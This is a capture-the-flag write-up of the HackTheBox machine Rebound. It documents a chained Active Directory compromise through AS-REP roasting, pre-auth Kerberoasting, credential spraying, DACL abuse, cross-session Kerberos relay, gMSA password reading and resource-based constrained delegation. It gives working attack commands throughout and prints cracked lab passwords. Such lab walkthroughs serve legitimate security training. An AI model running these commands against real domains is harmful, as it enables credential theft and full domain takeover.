HTB: Rebound Writeup

Rebound - HackTheBox Writeup

Machine Information

AttributeDetails
NameRebound
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.232.31
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐⭐
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆ (no single CVE — chained ACL abuse, Kerberos delegation, and relay primitives)
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Rebound is a full Active Directory domain compromise built entirely on Kerberos and ACL abuse — no web app, no CVE-numbered RCE, just a long chain of legitimate AD primitives stacked against each other. RID cycling against the anonymous SMB session unlocks the user list, an AS-REP-roastable account’s uncrackable TGT gets reused as a credential-less pivot for pre-auth Kerberoasting, and a cracked service-account password leads into ACL misconfigurations (Self rights on a group, FullControl on an OU) that hand over an OU full of accounts. On the box itself, a cross-session KrbRelay attack coerces a second logged-in user’s NetNTLMv2 hash, which cracks and unlocks ReadGMSAPassword, and Resource-Based Constrained Delegation turns that gMSA read into full domain control.

TL;DR: RID cycling (lookupsid) → AS-REP roast jjones (uncrackable TGT) → pre-auth Kerberoast via jjones → crack ldap_monitor’s TGS → password reuse on oorend → self-add to ServiceMgmtdacledit Descendant Object Takeover on the Service Users OU → FullControl on winrm_svc → password reset → WinRM as winrm_svcuser.txt → compile KrbRelay.exe on the jump box → RunasCs + KrbRelay cross-session coercion of tbrady → crack NetNTLMv2 → tbrady’s ReadGMSAPassword on delegator$ → bloodyAD dumps gMSA hash → RBCD write on delegator$ → S4U impersonation → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.232.31

Results: Standard Windows Domain Controller footprint — Kerberos (88), SMB (445), LDAP/LDAPS/GC (389/636/3268/3269), WinRM (5985) all responding, confirming 10.129.232.31 as the rebound.htb DC. Every subsequent step in this chain rides one of these five ports.

Service Enumeration

SMB / RID cycling — an anonymous/null SMB session was available, so Impacket’s lookupsid.py was used to brute-force RIDs and enumerate the domain’s user population past the default 4000-RID cutoff:

Terminal window
# brute force SIDs off the anonymous session, raise the RID ceiling well past default
lookupsid.py nan@10.129.232.31 -no-pass 10000

This returned the full domain user list — 12 relevant accounts (jjones, mmalone, nnoon, ldap_monitor, oorend, winrm_svc, batch_runner, tbrady, delegator$, plus built-ins) that seeded every later step.

Vulnerability Assessment

  1. Anonymous SMB session permits SID/RID brute-forcing → full username enumeration.
  2. At least one account has UF_DONT_REQUIRE_PREAUTH set → AS-REP roastable.
  3. That account’s exposed TGT can be reused for pre-authentication Kerberoasting — no credentials needed, only a valid (even uncrackable) AS-REP ticket.
  4. Password reuse across service accounts.
  5. Weak, inherited ACLs on an OU (Self on a group → FullControl/GenericAll on the OU’s child objects).
  6. A second interactive session on the DC is coercible for cross-session Kerberos relay.
  7. RBCD misconfiguration on a gMSA computer object (delegator$) chains straight to domain compromise.

Initial Foothold

RID Cycling → AS-REP Roast

With the username list in hand, the accounts were checked for Kerberos pre-authentication disabled:

Terminal window
# GetNPUsers hunts for UF_DONT_REQUIRE_PREAUTH accounts, no creds required
GetNPUsers.py rebound.htb/ -usersfile usernames.txt -no-pass -dc-ip 10.129.232.31

jjones came back AS-REP roastable. The recovered TGT did not crack against a wordlist — but it didn’t need to.

Pre-Auth Kerberoasting (credential-less Kerberoast)

Kerberoasting normally requires a valid TGT obtained via a password. Recent research (merged into Impacket’s GetUserSPNs.py via the -no-preauth flag) shows that for any account with pre-auth disabled, the AS-REP itself can be substituted to request TGS tickets for other SPN-bearing accounts — the session key never needs to be decrypted, since only the TGS’s service-encrypted portion matters for offline cracking:

Terminal window
# use jjones's pre-auth-disabled status as a credential-less TGT source,
# then Kerberoast every SPN'd account in the domain
GetUserSPNs.py -no-preauth jjones -usersfile usernames.txt \
-request rebound.htb/ -dc-ip 10.129.232.31

This returned a crackable TGS for ldap_monitor. Offline cracking recovered the plaintext:

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt ldap_monitor.tgs
# ldap_monitor : 1GR8t@$$4u

Credential Reuse → oorend

The cracked ldap_monitor credential was sprayed across the enumerated user list, and oorend came back with the identical password — the entry point for the ACL abuse chain:

Terminal window
# spray the ldap_monitor password across every enumerated user
netexec smb 10.129.232.31 -u usernames.txt -p '1GR8t@$$4u' --continue-on-success
# [+] rebound.htb\oorend:1GR8t@$$4u

Descendant Object Takeover (DOT)

ACL enumeration showed oorend held the Self right on the ServiceMgmt group — enough to add himself as a member:

Terminal window
# self-add via the Self ACE
Add-DomainGroupMember -Identity ServiceMgmt -Members oorend

ServiceMgmt in turn had FullControl/GenericAll over the Service Users OU (containing winrm_svc and batch_runner). That FullControl doesn’t automatically extend to child objects, so dacledit was used to explicitly write an inheritable ACE onto the OU:

Terminal window
# rewrite the OU's DACL to propagate FullControl down to every child object
dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.129.232.31 -use-ldaps \
-action write -rights FullControl -inheritance \
-principal oorend -target-dn "OU=Service Users,DC=rebound,DC=htb"

This granted oorend FullControl over winrm_svc. The ideal next move is a Shadow Credentials attack (write a msDS-KeyCredentialLink and authenticate via PKINIT), but PKINIT wasn’t usable in this environment — so a straight password reset was substituted for the certificate step, using the same FullControl grant:

Terminal window
# FullControl over the object includes User-Force-Change-Password —
# reset directly instead of the PKINIT/Shadow-Creds path
net rpc password winrm_svc 'NewP@ssw0rd!' -U rebound.htb/oorend%'1GR8t@$$4u' -S dc01.rebound.htb

Foothold via WinRM

Terminal window
evil-winrm -i dc01.rebound.htb -u winrm_svc -p 'NewP@ssw0rd!'
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
<redacted>

Privilege Escalation

Cross-Session Kerberos Relay

Enumerating running processes on the DC as winrm_svc showed a second, higher-privileged user (tbrady) logged into an interactive session (session 1). This is the classic setup for a cross-session relay: coerce that session’s machine identity to authenticate to an attacker-controlled listener via Kerberos, and relay/capture the resulting NetNTLMv2 material.

The KrbRelay toolkit needed for this wasn’t available prebuilt, so it was compiled from source directly on the jump box, stubbing out incompatibilities (firewall checks, async calls, AesCcm) that didn’t apply to the target’s .NET Framework version:

Terminal window
# mono's mcs targeting the DC's .NET Framework SDK profile
mcs -sdk:4.7.2 -out:KrbRelay.exe *.cs -r:System.DirectoryServices.dll \
-r:System.DirectoryServices.Protocols.dll

With KrbRelay.exe and RunasCs.exe staged on the DC, the coercion was fired against tbrady’s session:

Terminal window
# RunasCs spawns the relay listener in tbrady's logon session context,
# KrbRelay coerces Kerberos auth back to our listener and captures NetNTLMv2
.\RunasCs.exe winrm_svc 'NewP@ssw0rd!' "C:\Users\Public\KrbRelay.exe -Session 1 -Method 1" -r 127.0.0.1

The captured NetNTLMv2 hash for tbrady cracked:

Terminal window
hashcat -m 5600 tbrady.ntlmv2 /usr/share/wordlists/rockyou.txt
# tbrady::REBOUND:...:543BOMBOMBUNmanda

gMSA Password Read → RBCD → Root

With tbrady’s credentials, ACL enumeration showed ReadGMSAPassword rights over the delegator$ gMSA computer account — enough to dump its NT hash directly:

Terminal window
# bloodyAD can read the gMSA's managed password blob and derive the NT hash
bloodyAD --host dc01.rebound.htb -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' \
get object 'delegator$' --attr msDS-ManagedPassword

delegator$ is a gMSA that can be delegated to, but without protocol transition — meaning it can’t blindly impersonate any user, only accounts explicitly configured via Resource-Based Constrained Delegation. Since delegator$’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute was itself writable (the same ACL-abuse pattern as the ServiceMgmt/OU takeover earlier), ldap_monitor was written into it:

Terminal window
# grant ldap_monitor the right to impersonate other principals through delegator$
bloodyAD --host dc01.rebound.htb -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' \
add rbcd 'delegator$' ldap_monitor

With RBCD configured, ldap_monitor’s credentials were used to run the S4U2Self → S4U2Proxy exchange through delegator$, requesting a service ticket for the DC’s LDAP service as a privileged identity. That ticket enabled a DCSync against dc01.rebound.htb, yielding full domain compromise and root on the box:

root.txt: <redacted>

Attack Chain Summary

Anonymous SMB → RID Cycling (lookupsid) → jjones AS-REP roast (uncrackable TGT)
→ pre-auth Kerberoast via jjones → crack ldap_monitor TGS (1GR8t@$$4u)
→ password reuse → oorend
→ Self right → join ServiceMgmt
→ dacledit inheritable FullControl on Service Users OU (Descendant Object Takeover)
→ FullControl on winrm_svc → password reset
→ WinRM as winrm_svc → user.txt
→ compile KrbRelay.exe → RunasCs cross-session coercion of tbrady
→ crack NetNTLMv2 (543BOMBOMBUNmanda)
→ ReadGMSAPassword on delegator$ (bloodyAD) → gMSA NT hash
→ RBCD write: ldap_monitor → delegator$
→ S4U2Self/S4U2Proxy impersonation → DCSync → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
lookupsid.py (Impacket)Anonymous SMB RID cycling / user enumeration
GetNPUsers.py (Impacket)AS-REP roasting
GetUserSPNs.py -no-preauth (Impacket fork)Pre-auth (credential-less) Kerberoasting
john / hashcatOffline hash cracking (TGS, NetNTLMv2)
netexecCredential spraying
dacledit.py (Impacket fork)DACL rewrite for inheritable FullControl (DOT)
net rpcPassword reset via FullControl grant
evil-winrmWinRM shell access
KrbRelay (self-compiled)Cross-session Kerberos coercion/relay
RunasCs.exeSpawning the relay listener in another user’s session
bloodyADgMSA password read, RBCD write

Key Learnings

Techniques Practiced

  • Anonymous SMB RID cycling to bypass a locked-down user enumeration surface
  • AS-REP roasting an uncrackable ticket used purely as a credential-less pivot
  • Pre-authentication Kerberoasting (credential-less Kerberoast against a different account)
  • Password reuse pivoting between cracked service credentials
  • Descendant Object Takeover via Self group-join rights → OU-level FullControl inheritance
  • Substituting a direct password reset when Shadow Credentials/PKINIT isn’t viable
  • Compiling offensive tooling from source on-target when prebuilt binaries aren’t available
  • Cross-session Kerberos relay to coerce a second logged-in user’s NetNTLMv2 material
  • Abusing ReadGMSAPassword and Resource-Based Constrained Delegation for full domain compromise via S4U2Self/S4U2Proxy

Lessons Learned

  1. An uncrackable AS-REP ticket isn’t a dead end — pre-auth-disabled accounts are a credential-less Kerberoasting primitive against the rest of the domain.
  2. FullControl on an OU does not automatically cascade to its children; ACE inheritance has to be explicitly (re)written (dacledit -inheritance) before it’s exploitable.
  3. When the “textbook” attack (Shadow Credentials via PKINIT) isn’t supported in an environment, the same ACL grant (FullControl/GenericAll) usually offers a direct substitute (password reset via SAMR/LDAP).
  4. Multiple simultaneous logon sessions on a single Windows host are themselves an attack surface — cross-session relay coerces authentication material from users who never touched the attacker’s foothold.
  5. gMSA accounts with ReadGMSAPassword exposure plus a writable RBCD attribute chain directly to domain-wide impersonation, even without protocol transition.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • C4rm3l0, Rebound — official HackTheBox writeup (Machine Author: Geiseric), used here only to confirm the conceptual mechanics of pre-authentication Kerberoasting, Descendant Object Takeover, cross-session relay, and the RBCD/S4U2Self/S4U2Proxy → DCSync chain. All IPs, credentials, and command outputs in this writeup are from the author’s own solve, not the reference.